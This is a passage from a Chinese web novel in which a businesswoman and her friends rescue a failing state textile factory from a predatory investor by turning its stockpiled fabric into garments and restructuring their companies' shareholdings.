陈红梅听完若有所思,很快,又感叹般地拍了拍她的肩膀,笑道:“不愧是你!” 自从苏丽珍放出风声,不打算再牵头举办展会活动后,来苏家拜访的人少了很多。 这后来的几家都是当初苏丽珍十分看好,同时也是最初对她邀请参加展销会给予过积极回应的私营企业,他们过来更多是出于对苏丽珍的真心感谢。 苏丽珍也乐得跟这些很有潜力的企业交好,赶上人家诚心请教,她也会认真给出一些建议。 她始终记得,上辈子在米国,遇到的那些下岗后迫于生计,豁出半条命跑过去的老乡,从他们口中得知那些外资、合资企业是如何进入国内市场,将他们这些技术、经验和资金都明显落后的本土企业打压得喘不过气,最后败的败,散的散。 所以有时候,眼光不能只局限在自己跟前儿那一亩三分地。要想在风雨来临前牢牢站住脚,这片森林就要尽可能的大,树木也要尽可能多。 等来找苏丽珍的人少了,她便又恢复之前的节奏,一边带好友们去当地一些企业参观学习,一边带人逛吃游玩,学习、娱乐两不耽误。 这期间,那个李明翰果然没忍住,联系过她两次。 第223章 第一次,这人派了他的助手来给她送了一封邀请函,邀请她参加本市工业局举办的香江经济考察团欢迎会。苏丽珍直接回绝了,连邀请函都没收。 第二次,是李明翰本人亲自给她打的电话。这个人很会说话,言谈间彬彬有礼,要不是事先知道他根底的人,很难想到这是个心术不正的人。 电话里,李明翰先是盛赞了一番她的“珍珍食品”,接着又夸她这个人,反正话里话外全是对她的欣赏。然后突然话锋一转,言辞恳切地提出要请她一起吃顿饭,希望两个人能好好认识一下。 苏丽珍耐着性子跟对方周旋了两句,见他还要卖关子,最后懒得搭理他,照样回绝。 现在,她已经百分百确定这个人有所图谋。 看样子,像是相中了她的“珍珍食品”了? 还挺会想。 她也不急,倒是想再看看这人还有什么花招。 反正对付这种人,就得比谁更有耐心、更能稳得住,一回、两回的,总有他憋不住跳脚的时候。 这天下午,天气特别好,苏丽珍带着好友们在南湖公园的冰场上滑了两个小时冰,直玩到大家出了一身热汗。 苏丽珍怕大家着凉,便赶紧带人回了家。没想到一到家,就看到安厂长在店里等着她。 相比上次见面,安厂长明显瘦了许多,两鬓甚至都有了白头发! 苏丽珍今年暑假因为要忙活建设“珍楼”的事,假期只回来呆了一个星期就又匆匆回首都了,t所以她上一次见到安厂长还是过年那会儿。这一晃儿将近一年没见,想不到安厂长居然变化这么大,这该不会是遇上什么事了吧! 她心里吃惊,只面上不显,热情地把人招呼进包间,又亲自上茶、端水果,十分周到。 东北是个人情社会。出于发展人脉的需求,她这些年也结交了不少人,各行各业,领导精英。不是说非得存心想利用谁,主要还是想跟这些牌面上的人物先混个脸熟,也省得将来有需要的时候找不到人,拉不上关系。 但是安厂长不一样。 不提谢芳芳,只说当年他们一家不过是客运站门口摆摊的小商贩,能顺利买下现在开店的小洋楼其实多亏了安厂长帮忙说话。 这份情,苏丽珍一直记在心里。 看出安厂长大概是遇上了难事,她怕对方一时不好开口,在把管明月几人介绍给安厂长,双方打过招呼后,她就小声跟几人商量,让她们先回楼上。 没想到安厂长却把人叫住了:“珍珍啊,不用让你这些同学走。你也看出来了,我今儿是‘无事不登三宝殿’,干脆就让她们都留下吧。你们都是首大的高材生,我今天就厚着脸皮搭个茬,大家要是不介意,就顺便听我唠叨几句。” 管明月几个一听,倒不好意思离开了,便都安安静静坐下来听两人说话。 苏丽珍顺势问道:“安伯伯,究竟出什么事了?” 安厂长先是叹了口气:“一言难尽……孩子,你回来这几天,有没有看过报纸?” 她一直有从报纸上收集时讯和资料的习惯,她们212寝室只有她一个人平时会看看报。不过这几天跟室友们一起,白天不是去各企业参观学习,就是赶集逛街的,也就一早一晚的工夫翻翻报纸。 这几天的报纸……她倏地想起前天晚上处理完公司的文件,她一时睡不着,随手到楼下拿上来一份《凤城晚报》。 她记得那天有一篇新闻报道提到,凤城市纺织二厂因连年亏损,如今资不抵债,工人们已经连续三个月没发工资了。 就在这篇报道刊登的前一日,苦等不到工资的工人们愤怒之下与厂领导发生冲突,导致该厂一位姓纪的厂长受伤昏迷。 报道新闻的记者最后把矛头直指那位受伤的纪厂长,认为纺织二厂如今的亏损现状与厂领导的失职不无关系。 苏丽珍因此对这则新闻印象深刻。 凤城市有两家纺织厂,一家是安厂长所在的第一纺织厂,建国前就成立了,规模很大,巅峰时期职工近万,也是整个省内纺织业的龙头企业。 另一家纺织二厂,据说是七十年代中期由原来的第一纺织厂分出来的。 两家厂子的领导层大概率私下是互相通气的。 她将这些前因后果联系到一起,心里有了数,便道:“安伯伯,您是不是指纺织二厂的事?” 安厂长点头:“你这孩子果然聪明,确实是二厂的事。” 苏丽珍问道:“安伯伯,我看报纸上闹得挺大,您细说说,究竟是怎么回事?” 安厂长抹了把脸,沉声道:“这事啊,‘小孩没娘——说来话长!’” 接着,他就把纺织二厂闹事的前因后果讲了一遍。 改开后,南边成立了许多纺织企业,他们有的是外企独资,有的是中外合资,还有近水楼台依靠香江那边的渠道引进先进生产线自立门户的私营企业。 这些企业体量不一,实力也参差不齐,但无一例外都掌握着明显技术水平更先进的生产线。 由这些先进生产线所生产的新式布料,被人们称为“洋布料”,它们无论在成本、产量,还是款式、花色方面,都远超凤城本地企业的产品。 在老百姓眼中,“洋布料”不但沾了个“洋”字,而且花样和颜色种类多,又比传统棉布结实耐磨,甚至价格还更便宜,所以他们理所当然会选这些“洋布料”。 从前年开始,凤城两家纺织厂生产的布料就在这些“洋布料”的冲击下节节败退。 安厂长不是个坐以待毙的人,这两年没少四处卖脸面求情,一边尽量保住厂子效益,一边省吃俭用,东挪西凑攒了一笔钱出来,准备也引进一批先进设备,尝试生产新式布料。 与第一纺织厂艰难求存中终于见到希望的曙光不同,纺织二厂因为成立时间短,规模小,家底子更薄,在“洋布料”的冲击下,毫无抵抗能力,很快就陷入困境。 这时候,二厂的纪厂长,只能回来找老领导安厂长求支援。 安厂长也义气,咬了咬牙,把自己攒的那笔钱先借给了二厂,希望紧着他们渡过眼前的危机,同时尽快引进新设备,好打破眼下的困局。 本来是件好事,可偏偏就这么倒霉,纪厂长为了省钱,并没有通过以往进口采购的贸易部门,而是自己打听的特区那边的路子,结果就被两个香江人做局骗了,买设备的钱全被对方卷走了。 这下,不只纺织二厂,连安厂长的第一纺织厂也受到了巨大影响。 他们的布料一天比一天难卖,别说再攒一笔钱,能保证现在的收支平衡都十分不易。本来指望二厂“船小好调头”,让他们率先引进新设备,一旦成功生产出新布料,重新进入市场,多少挣上一笔,到时再回馈一厂。 没想到平地起惊雷,买设备的钱就这么叫人骗光了。当初一力要把钱借给二厂的安厂长也落了埋怨,这阵子日子很是煎熬。 然而这些困境还只是一方面,还有更糟糕的。 近期,有个南方的华侨表现出了想要给二厂注资的意向,这简直就是久旱逢甘霖,众人正觉欣喜,可还没等他们高兴多久呢,谁知道这华侨突然临时变了卦,由原来的投资改成了收购。 收购就收购吧,二厂上上下下二百多张嘴都等着吃饭呢,只要说能保住大家的饭碗,他们咬一咬牙,也不是不能接受改制。 可这个华侨嘴上说得好听,动真章的时候价钱却压得特别低,完全是明晃晃地趁火打劫。 安厂长打从这人第一次变卦的时候,就觉得不太对劲,索性留了个心眼,托了在南方的几个老战友帮忙打听这人根底,没想到还真叫他查出了不少问题。 这人在国内政策开放之初就在特区投资办厂,公司业务涉及纺织、服饰等多个方面。 在特区站稳脚跟后,这家公司发展迅速,之后又布局南方纺织业中心的苏杭海市一带。先是大举吞并当地一些经营不善的中小型纺织企业,然后开始大搞低价倾销,挤兑其他大型纺织厂,使后者举步维艰,到最后不得不步入那些中小型同行企业的后尘。 这人在成功拿下苏杭海市一带的纺织中心后,立马实行市场垄断,导致市场上很难再见到其他具有竞争能力的纺织企业。 同时因为他一家独大,无论是上游原材料提供,还是下游大大小小的购货商,全部都被他卡了脖子。 农民辛辛苦苦种棉养蚕却根本卖不上价。 下游服装、家纺等加工类企业为了保证生产,又不得不捏着鼻子高价拿货。 总之,整个苏杭海市一带因这人的不正当竞争都陷入了巨大的危机,就算成功挺过这一局也要元气大伤。 现在这人又来了凤城,凤城的第一纺织厂是东北最大的纺织企业,一直面向整个东北地区的市场。 安厂长觉得这人很有可能也盯上了这片市场,想在凤城故技重施,大搞在南方那一套,所以先拿纺织二厂开刀。 苏丽珍认真听完安厂长的话,也觉得确实有这个可能。 尤其是想起先前看到的那篇把二厂如今的困境全部归结到纪厂长身上的报道,这个味儿可太熟悉了! 造谣,泼脏水,里外挑拨,釜底抽薪,把陷入困境的企业所有后路堵死,不给他们留一点活路,正是那些西方黑心资本家惯用的伎俩。 不过在这之前,她得先确定一件事。 “安伯伯,您说的这个归国华侨是不是前阵子报纸上刊登的明荣有限公司老总,李明翰?” 第224章 安厂长立马点头:“就是他!” 随即又有点诧异:“孩子,你怎么也知道这个人?” 苏丽珍自然不能说因为苏振东的缘故,只解释道:“这人出身的家族原来也是首都那边的,同样是纺织行当起家。当初机缘巧合下,有人曾提醒过我,说他做事不择手段,所以我印象很深。t” “加上从我回凤城后,他一直试图找关系联系我,我知道他也在凤城。所以您一说他在南方做的事,我第一时间就联想到了他。” 安厂长自己也找人了解过,知道李明翰身后的李氏家族从前是首都挺有名的资本家,改开后这个家族陆续回来过一些人。所以苏丽珍在那边听说过这人的事,也不足为奇。 他倒是反过来叮嘱苏丽珍,叫她务必小心这人。毕竟这种人无利不起早,要是被他盯上准没什么好事。 “本来我就对这个人有所怀疑,后面出的这一件件事,更证实了我猜的没错。” 安厂长寒着脸,继续往下说道:“我想着小心无大过,一听说了这小子在南方干的那些事,就立马跟市里反应了,市里领导们也很重视,当场就叫停了收购方案。” “这姓李的坐不住了,派人私底下挑拨二厂的工人们,故意含糊其辞说是上头的领导不想谈收购,让工人们误以为是老纪,就是二厂的厂长,是他舍不得厂长宝座,有意要把这事搅黄。” “工人们一气之下闹开了,当时场面乱糟糟的,老纪也不知道被哪儿飞来的一块砖头砸中,现在还在医院躺着!今天上午,他们不知道又被谁撺掇,要跑去市里闹!幸好有人给我报信,我一收到消息就立马带人过去,勉强把工人们拦住了。” 说到这里,安厂长苦笑了一声,“大伙儿的心情,我也理解,都是上有老、下有小,要吃饭的!你跟他们说那些什么‘倾销’‘垄断’的大道理,他们不懂,也没那个时间懂。” “所以我真不知道还能拦多久!今天,我老安的面子还能顶一顶;或许明天,就算我躺下来,求大伙儿来踩我这张老脸,大家伙儿也未必愿意了。” “安伯伯,您先别急。”见对方拿茶水当酒罐,苏丽珍一边端起茶壶帮他把茶杯重新倒满,一边柔声宽慰道:“不怕没问题,就怕发现不了问题。” “现在咱们既然知道对方有问题,那不管是主动出击,还是小心防范,总归能做的很多。也好过他在暗,我们在明,被他一直盯着下黑手。” 见安厂长点头,她便顺势又问道:“那安伯伯,您眼下有什么打算?” 李明翰固然是个不小的麻烦,但归根结底还是纺织二厂自身的问题更大。 如果二厂不能尽快解决资金问题,扭转局面,那就算今天防得住一个李明翰,安知明天不会有更多的“李明翰”趁火打劫? 安厂长显然也是这么想的,他打起精神道:“说起这个,珍珍,我看你们在首都搞的那个展销会就挺不错。你是不知道,那段时间首都关于你们的报道也发到了咱们这儿,咱这儿的报纸、电视台紧跟着也是铺天盖地给你们一通报道,那声势可真不小。” “我是这样想的,这不马上快过年了吗?我想试试联合其他单位一起,也在咱凤城搞一个纺织品展销会。就是不光我们搞纺织面料的一厂、二厂,其他像生产什么被面、床单、成衣、帽子之类的厂子,大家都来!到时候人越多,场面越热闹。” “我想着借着这次机会,好歹出点货,先弄一点周转资金,怎么着,年前也给大伙儿发一笔工资。” 安厂长眼巴巴地看着苏丽珍和一直在旁边安静倾听的管明月几人。 “珍珍,还有几位同学,你们觉得我这法子能行得通吗?” 管明月几人互相看看,最后又一致将目光投向苏丽珍。 苏丽珍沉吟道:“安伯伯,那我就有什么说什么了,您这个想法很好,但是还是太慢了。而且归根结底,开展销会只是把大家吸引来的一种手段,并不是说只要企业组织或者参加了展销会,就一定会把自家的东西卖出去。” 苏丽珍也是从之前那一拨儿来打听她想法的人身上发现的,似乎很多人进入了一个误区,总觉得只要展销会办的热闹,来逛展的人够多,就等于自家产品的销路有了保障。 事实上,举办展销会只是提供了一个展示企业和商品的契机,最终能决定产品销量的还是产品自身的质量、定位和价格等因素。 在凤城举办纺织品展销会的想法是好的,但是对于自身没任何改变的两个纺织厂的产品来说,在本地消费者眼中,展销会上的展品和一直陈列在百货公司货架上的,有什么区别?人们为什么一定要在展销会上购买呢? 要把东西卖出去,最后大概率还是要用削价处理的老法子,那办这场展销会还有什么意义? 加上这会儿赶上过年期间,平常再是节省的人也会想改善一把,那这些低价处理品对大家还能有那么大吸引力吗? 这些问题摆在这儿,想通过展销会积累一笔资金的想法就不容易实现了。 管明月几人听了苏丽珍的话,也忍不住点了点头,刚刚她们不好意思说,但同样也是这么想的。 安厂长见状,脸上不禁浮现出失望的神色。 他苦闷一笑,最后颇带了点破罐子破摔的意思,说道:“这个方法要是不行,那我就只能发动大伙儿带着厂里积压的布料,挨家挨家上门去问,卖出一匹是一匹了。” 一听这话,苏丽珍目光微动,脑子里灵光一闪,看了眼旁边不知道在想什么、同样露出深思表情的吕新芳,倒是有了点想法。 正好,她内心里本就倾向于帮一帮安厂长,那个李明翰又一再要往她跟前凑,她不介意顺道给这人也找点麻烦。 苏丽珍心中飞快有了计较,只暂且不提,而是先斟酌着对安厂长道:“安伯伯,如果只是单纯解决产品积压的问题,我倒是有点办法。” 见对方瞬间目露惊喜,她随即又道:“不过您也知道这些毕竟治标不治本,纺织二厂的问题不是仅靠资金就能解决的,甚至技术层面的问题都只是小问题。所以我想先问问,您这边、还有上面,究竟是怎么个章程?” 跟所有后期经营不善走向没落的国企单位一样,纺织二厂自身积弊已久,资金只能解决一时问题,但是那些根子上的毛病不除,今日之困随时会卷土重来。 苏丽珍提出的问题,安厂长其实很清楚,当下的经济形势,“大锅饭”难做,也难吃,可真要提改制,他终究还是舍不得。 姓了一辈子“公”,临了谁愿意主动摘掉这顶公家的帽子? 但经历了李明翰的事之后,他忽然想开了。时代在变,人们自然也要做出符合时代的改变,这就是顺应时势。不想被淘汰,那就只能逼自己咬牙去适应。 他明白苏丽珍话中的未尽之意,倒也不是觉得这姑娘不知深浅。毕竟换谁费心思帮忙给人谋划了翻身的主意后,结果转头对方就因为从前那堆乱七八糟的老毛病完蛋,搁谁都不乐意白费这个劲儿。 于是,他也直接坦诚道:“孩子,我想好了,如果真的有可靠的投资商,不管对方是投资也好、收购也罢,只要他是正经做事业,不想着资本主义那一套搅混水祸害人的法子,我都支持。” “老纪那边,我就能做主。至于上面,说实话,这两年二厂那边一次次伸手要钱,市里也为难。如果我们能改制成功,扭亏为盈,保住厂里二百多人的饭碗,他们不会有意见。” 说到这里,他心中一动,要说合适的投资商,其实眼下再没有比面前这个姑娘更合适的了。 想想那连首都的各大报纸都登了一遍的食品公司,还有这两年因接手新客运站工程而声名鹊起的建筑公司,现在发展势头哪个不比他们这几家国营单位强? 说来心酸,听说这两年人家公司里普通工人一个月的奖金,都比他们工人的工资高。 要是让这孩子接手纺织二厂,他真是放一百个心。 再想想刚刚这孩子说对于解决二厂资金的问题有了眉目,他这心里期待值就更高了。 苏丽珍不知道安厂长正悄悄把希望放在她身上,听完了对方的回答,她还是比较满意的。 然后她就把目光重新投向吕新芳和管明月,开口说出了一句叫在场所有人都吃了一惊的话。 “芳姐、明月,你们要不要考虑接手纺织二厂?” 进入腊月的东北,天寒地冻,赶上那带劲儿的西北风一刮,就是一米八的大老爷儿们也得打哆嗦。 然而此刻,凤城市纺织二厂的t厂房里,却是人来人往,拉货的汽车进进出出,场面那叫一个热闹非凡。 安厂长站在厂房中间一片空地上,手里拿着苏丽珍特地准备的大喇叭,一句接一句有条不紊地指挥众人。 “都注意着点,机器往车上搬的时候千万别碰着人!你们几个也过去,多上几个人,小心无大错!” “那清出来的厂房,你们都好好打扫几遍,咱们是要做衣服的,到时候弄得那四周埋了吧汰、好几层灰,那做出来的衣服,谁乐意掏钱买啊?” “还有那边那十来个同志,把你们挑出来是因为你们嘴皮子利索,又不是让你们见天只练嘴皮子!得空你们也伸伸手,没看人家备料组的都忙成啥样了。” 第225章 这最后一句话刚一落下,墙角一溜站着看热闹的工人里就有人嬉皮笑脸反驳:“安厂长,不是我们不愿意帮忙,那我们也不知道最后啥样料子能用、啥样不能用。这万一挑不好,回头人家还得自己再挑一遍,倒费二遍事,我们这也是怕给人家添麻烦。” 安厂长一听这话,立马板起了脸:“咋地,你们脸上那俩眼睛是摆设啊?自己不知道挑啥样的,不会照葫芦画瓢,比量别人挑好的拿吗?” 说着,声量猛地拔高:“我告诉你们,别整天嘻嘻哈哈,给点阳光就灿烂!二厂现在到了生死存亡的关头,能不能挺过去全靠这一把!你们从前是个啥德行,我不管,但我今天把话放这儿,谁要是在这个节骨眼儿上给我拖后腿,我第一个不饶他!” 放完了狠话,又适当怀柔:“你们不要总想着那外商收购的事,我劝你们都拍拍自己那脑袋瓜,好好想想,就他们出的那么低的收购价,他们以后真能好好善待你们吗?” “我可是听说了,那资本主义国家可是动不动闹裁员的,真让他接收厂子,你们就不怕也被裁?” “所以与其把希望寄托在这些人身上,咱大伙儿不如踏踏实实靠自己。以前没招也就罢了,现在不是有高人给咱们指点吗?还有二十多天过年了,咱大伙儿好歹先把这过年钱挣出来,等咱先把这一关过了再说。就算下一步还是要卖厂子,咱也能有富裕挑个把握的,是吧!” 二厂的很多工人原来都是一厂的,所以安厂长在这里也很有威信,他一番连敲带打效果很好,那十来个溜边的工人果然自觉去找活儿干了。连带其他人也更加卖力,效率远比平时高。 一时间,整个厂房内忙而不乱,热火朝天,倒是显出几分昔日兴盛之态。 站在厂房门口的吕新芳看着这一幕,脑海里不自觉回响起那天苏丽珍建议她们接手这家厂子时说的话。 “芳姐、明月,我建议你们接手这家厂子。从你们的角度看,你们的‘芳月’能自主研究设计各种纺织用品,不愁销量,如果能再掌握自家的原材料供应,实现产销一条龙,既能最大限度节约成本,同时也是未雨绸缪,为自己提前布局。” “安伯伯,芳姐和明月在首都办了一家布艺制品公司,专门生产家居用品,也能承接定制各种工装制服。她们对纺织品行业的了解远胜于我,都说隔行如隔山,所以她们其实比我更适合接手二厂。” “我希望你们认真考虑,如果你们双方都有这个意向,那其他的事情就交给我,尤其是资金问题,我来解决。” 那天她们家小六的话太过坚定,叫人听了,胆气蹭蹭往上涨。加上明月也表示就算她留在“芳月”的时间不长,但如果自己想做这件事,那她必定会全力支持。 她当时一股豪情上脑,真的就点头答应了下来。 而安厂长这边,大概是因为有小六的背书,所以并没有提出反对。 然后这件事,就这么定下来了。 当天晚上,小六就拉着她们草拟了一份二厂改革计划书。第二天,计划书交到安厂长手里,后者更是痛快,二话没说,当场就拍板执行。 现在回想起来,吕新芳仍然觉得很不可置信。 拯救并收购一家工厂,担负起二百来号人的生计,她吕新芳居然要做这么大一件事吗? 起初她还有些迷茫,可随着小六一项又一项的举措安排下来,她这颗心也渐渐安定。 是啊,这是一个黄金时代,只要你有能力,没什么不可能。 她有决心、有毅力,更有这世上最好的朋友们全力支持,她一定也可以…… “芳姐,司机已经安排好了,你是现在就走,还是再等一会儿?” 苏丽珍熟悉的声音在耳边响起,吕新芳回过神,立刻道:“那我现在走吧!” 跟苏丽珍一起过来的管明月忙道:“芳姐,我陪你一起去。” 吕新芳劝她:“就是去火车站接人而已,我自己就行,你别跟着折腾了。” 怎奈管明月坚持,吕新芳也就随她了。 两人走后,安厂长走过来,看苏丽珍身上穿的衣服挺厚实,放心了不少,不过还是劝道:“珍珍啊,这天冷,你没啥事还是去楼上办公室那边吧,这有我盯着呢!” 说完又想起二厂早就没钱买煤,锅炉也停了,办公室里也没比这边暖和多少,不禁有些尴尬。 苏丽珍笑道:“没关系,安伯伯,我穿的多,不觉得冷。倒是伯伯您,我看您连帽子都没带,可别冻感冒了。这个时候,两个厂子的重担都在您一人身上,您可一定要保重好自己。” 资金问题,她可以想办法,但是任何政策推行以及见效都需要时间。在此之前,她们十分需要安厂长这样一个既能服众、又能镇得住场子的人。 这话说的安厂长心里热乎乎的,他声音更加和蔼:“没事,我都习惯了。再说,我这心里现在就像憋着一团火,烧得我难受,冷点反而好。” 这话一出口,他又觉得不妥,马上解释道:“孩子,安伯伯没有不相信你们的意思,就是我这、我这……” 苏丽珍宽慰对方:“安伯伯,您不用解释,我都理解。事情没落定之前,容易出变故,您会不放心,也是正常的。” “我这里干脆再给您吃一颗定心丸,就算这次二厂的自救计划不顺利,我也会负责兜底,起码保证让二厂的工人们安心过个年。” 嘴上这样说,但是她对这一次二厂实行的计划还是很有信心的。 纺织二厂当下急需一笔资金周转,有外来资金支持的同时,企业内部其实也不是什么都做不了。 比如库房里积压的那些过时的布料,如果可以处理掉,就能回流一波资金。 苏丽珍之前特地问过安厂长,确定这些积压的布料虽然质地、样式都不受现在的主流市场欢迎,但是质量上没有任何问题,而且布料颜色种类也很全。 这样一来,可操作性就大大提升了。 布料花色不行,那就款式来凑。她安排人先筛选出这批存货里质地和花色最好的料子,送到本地服装厂加工成成衣。具体款式由万美君和吕新芳设计,初步计划是男、女、童装各两种款式,其中每个款式又包含两种颜色,总计这一系列下来是六款十二套成衣。 服装厂的加工费只能先欠着。这个时候国营单位之间的“三角债”问题其实已经初现端倪,到后期更因为直接爆/雷给本就处境艰难的国企当头一棒,导致这些企业再难翻身。 虽然欠债这事不好,但目前她们是受益一方,确实能减轻不少麻烦。 当然,苏丽珍也不白用人家,她们过后会把这六款服装设计图直接留给服装厂,允许他们拿去自用,以换取对方答应优先、并以最快速度加工这批服装的承诺。 等再次一等的布料,苏丽珍就让安厂长发动工人自己加工。 纺织二厂二百来号工人,百分之八十都是女工,且这些人大多数会用缝纫机。安厂长直接把二厂车间里一部分老旧的机器搬走,腾出空地来,然后发动女工们把自家的缝纫机拉过来,直接就地生产。 这些缝纫机也不白用,三天算一个工,都记得明明白白,大伙儿也都挺乐意。 因为是自行组的草台班子,跟正规服装厂比不了,所以大家制作的成衣款式相对简单。 苏丽珍让大家挑那些颜色不够鲜亮、但结实t耐用的布料,比照着本单位工装的样子加工成仿工装,这批仿工装版型上更修身一些,在细节部位添加更多花样修饰,整体看着不像正式工装那样刻板僵硬,而是呈现出一种帅气随性的美感。 这批衣服,她打算专门拉到下面三、四线小城市里去卖。 到时候再从工人中挑出一批嘴皮子利索的,都跟过去做临时销售员,大家统一换上这些仿工装现场打样,宣传也一律以凤城大厂正经工装为卖点。 别看现在市里有些工厂效益不好,工人待遇不如早些年,但是对于一直生活在小县城的人来说,能进大城市、大厂当工人仍然是他们内心向往的好事。 既然当不了大厂工人,那弄一身类似的工装穿上过过瘾,是不是也挺好? 而且这一套衣服裤子比照正经工装更加修身帅气,不管男女,上身效果都很不错,一套下来却只卖一件衣服的钱,料子也结实扛脏,划算得很。 苏丽珍就不信会没有销路。 刨去这两批服装用料,积压的布料大约还剩三分之一,这部分直接交给吕新芳和管明月,照例用她们最擅长的拼布技艺,将整块布料都裁成不规则小块,然后重组成美观又充满艺术气息的新式拼布。 这批拼接花布会直接加工成窗帘、床单、桌布、沙发套等家居用品。 为此,吕新芳特地给首都的厂子打电话,让她堂哥安排了两个熟手过来,手把手指导这边的工人。 吕新芳刚刚就是去车站接自家厂子的工人。 苏丽珍快速在心里复盘了这些计划,觉得没什么问题,又听旁边安厂长不无惭愧道:“孩子,对不住了,是我无能,把压力都转到了你们身上。” 苏丽珍有不同看法:“安伯伯,压力也可能是动力。老话不是说‘要想人前显贵,就得人后受罪’吗?这话虽然是打趣,其实细想想也有一定道理。” “我们既然想要搏一搏,那自然要做好随时面对困难的准备。这个决心,我们一直有。” 安厂长听了这话,心里越发佩服眼前这个年轻姑娘。 同时,他心里也燃起了一股斗志,自己好歹是一厂领导,可不能遇上点事就这么坐不住凳子! “孩子,你说的对,是我太沉不住气,我是该向你们好好学习。” 苏丽珍见他不再纠结,便顺势开启新话题:“对了,安伯伯,您之前说想办个展销会拉销量,我这儿倒是有个想法,您看行不行……” 与此同时,吕新芳和管明月到了车站后,被告知这趟火车晚点了,怕是要等上一会儿。 两人只好先进候车室,一边避风、一边等。 在角落处找了个位子,两人刚坐下没多久,管明月忽然道:“芳姐,我想在这个假期就把股权的事情处理好。” 说完,怕吕新芳多想,她马上又补充道:“芳姐,你放心,我只是先把手上的股份交割清楚,人暂时不离开!眼下正是厂子关键时期,我不可能甩手走人……反正到六月底咱们毕业前,除非你撵我,否则我是不走的。” 第226章 吕新芳自然不会这么想,相反,她知道好友这个时候提出转让股份,其实也是为了她。 在她们决定收购凤城纺织二厂的当晚,苏丽珍就提出会给“芳月”投资一笔资金,但是她只投资,等年底拿分成,并不参与公司实际股权分配。 吕新芳没同意。她不想占好友的便宜,当即提出,要么苏丽珍的资金算参股,要么就以她个人名义借款。 在吕新芳心里,虽然最初是苏丽珍提议让她接手二厂,但是这两天,她已经越来越欣喜且坚定于这个决定。 所以她想着,既然是她自己的决定,就没理由一直让好友帮她兜底。 因为吕新芳态度坚决,这件事只好暂时搁置了下来。 但是她们都明白,事关二厂收购改制,她们必须尽早统一态度,以免影响后续流程。 吕新芳能想到,管明月大概率是准备把自己名下的股份都转让给她,让她达到百分之百控股。即便苏丽珍投资参股,股权被稀释,她也能保证持有最多股份,而不会影响今后对公司的管理。 这样一来,“芳月”有了更多资金,能顺利收购二厂,小六拿到了股份,而她这边也能保证管理权,一举三得。 果然,跟她想的一样,管明月紧接着就道:“芳姐,你知道的,我家里人都有公职,也不能接手这些股份。所以我想好了,我要把我那四成股份都转给你。” 吕新芳没有第一时间拒绝,她知道这事管明月心里已经认准了,与其费劲劝她再考虑考虑,还不如认真想想她的话。 她思索了一会儿,最终点头道:“明月,谢谢你,那我就不跟你客气了!” 一听她答应了,管明月脸上不禁露出喜色。 但吕新芳的话还没说完,“不过,你的股份,我不打算全部接受,我只准备要一成。说实话,这其实是我的一点私心,想将来把这一成股份留给我的三个哥哥们。” “剩下的三成,我建议你直接转给小六。” 见对方要说什么,她轻轻摇了摇头,示意对方继续听自己说完:“明月,我知道你是替我着想。私心里,我不否认我也希望‘芳月’能一直掌握在我自己手里。” “但是这个世界发展变化太快了,咱们的‘芳月’就像一个孩子,她需要更多的助力才能茁壮成长。所以我不能因为我自己的私心,就阻碍她去接受更多的给养。” “况且对方是咱们小六的话,我相信她不会让我们任何人失望。” 管明月听罢,知道她不会改主意了,最终也只能无奈点头。 吕新芳见她同意了,心里松了口气,笑眯眯地再次道:“还有一件事,咱们提前说好,股份转让合同可以提前签,但是具体的转让金额,咱们得按照六月份时的公司估值来算,到时候多退少补。” “我相信,小六也不会反对。” 管明月听完无语,最后干脆整个人摊在椅子上,两只手交叉撑在脑后,看着前方排队等候检票的人群,似无奈又似感叹一般:“一个、两个的,我真是服了,好像生怕多占一点好处一样!叫外人知道,怕不以为你们都是傻的。” 吕新芳不说话,只含笑听她念叨。 好一会儿,才又听见她小声嘟囔了一句:“其实我也挺傻的,因为我忒喜欢你们这些‘傻瓜’了!” 当天晚上,管明月和吕新芳就把两人的决定告诉了苏丽珍。 刚巧苏丽珍也在想这件事。 二厂这边的一系列自救措施只能暂时回笼一部分资金,堵一堵账面上的窟窿。要想让厂子真正摆脱困境,关键还是引进新的设备、技术和人才,早日生产出大众喜爱的新式布料,重新占领市场。 这个过程需要资金支持,所以投资的事不能再耽误。 苏丽珍坚持自己的想法,以个人名义投资“芳月”,只投钱,不占公司原始股份。 现在听管明月要把名下三成股份转给她,她立即决定,让“筑梦”公司来接手这三成股份。 相比自然人,以公司形式参股更能保持公司股权架构稳定,并最大程度将股权集中在主要股东手中,以保证吕新芳在公司的核心话语权。 同时,公司参股便是将两个公司绑定在一起,实现资源互补。比如,他们“筑梦”是建筑装修行业,“芳月”目前的主营业务是家居用品。如果前者接手了装修类工程,刚好可以顺势向客户推荐后者的产品。 反过来,有的家庭置换新的家居用品,也可能会有装修需求。 两者的客户群体有重合,但彼此却不存在竞争关系,是最合适的战略合作伙伴。 所以,她希望让“筑梦”公司接手管明月手里的股份。 至于其他的,她则不打算改主意。 她是真的不想参与吕新芳公司的股权分配。 而且不只“芳月”,就是“筑梦”公司这边,她其实也早有将手里一部分股份转给丁大勇的打算。 这几年,“筑梦”公司已经在建筑行业里创出了一片天地,彻底在这个圈子里站稳了脚跟。 丁大勇也从最初连设计平面图都看不明白的纯新手,一路走来,成长为被行业大拿认可的专业人士。 就算是公司管理方面,他也t处理得越发得心应手,能够真正独当一面。 反观苏丽珍自己,如今能够做的,无非是提供一些财务和经营方面的小建议。其实这些,另外换其他专业人士来处理,人家兴许会比她做的更好。 所谓“在其位,谋其政”。 如今的她之于建筑公司,更像是一个可有可无的存在。为了避免出现今后她这个外行人占据高位,指点内行人的糟糕状况,她想退出管理层,把决策权留给一直为公司奔走忙碌的丁大勇。 恰巧,年前的时候,薛老爷子也因为当年一场重感冒之后,这两年精力大不如前,在强挺着完成新客运站工程的顾问工作后,就向苏丽珍请了辞。 同时,老爷子也提出要把手里那10%的股份转回给苏丽珍和丁大勇。 两人一方面舍不得老爷子这根“主心骨”离开,另一方面也是真心感激他老人家。毕竟当年如果没有薛老爷子鼎力支持,压根也不会有这间公司。 所以最后经过一番劝解,薛老爷子最终答应留下2%的公司股份。 剩下的8%转给了丁大勇,如今他持有股份占比48%。 苏丽珍打算再转给他20%,自己只留三成。再少,估计她这位直性的师哥要跟她急眼。 苏丽珍把自己的想法原原本本跟吕新芳和管明月讲清楚,表示她真的是纯粹不想跨行参与这些企业的经营管理。 也别说什么可以只拿股份,不管事。既然左右都不想管事,那又何必非要拿这个股份? 吕新芳和管明月直接被苏丽珍问住了。 尤其管明月,更是成功被苏丽珍“洗脑”,最后直接倒戈,反过来帮她一起劝起了吕新芳。 吕新芳:“……” 陈红梅几个在旁边乐得看她们争论,苏厚德还十分配合地给几人上了茶水、瓜子和水果盘。 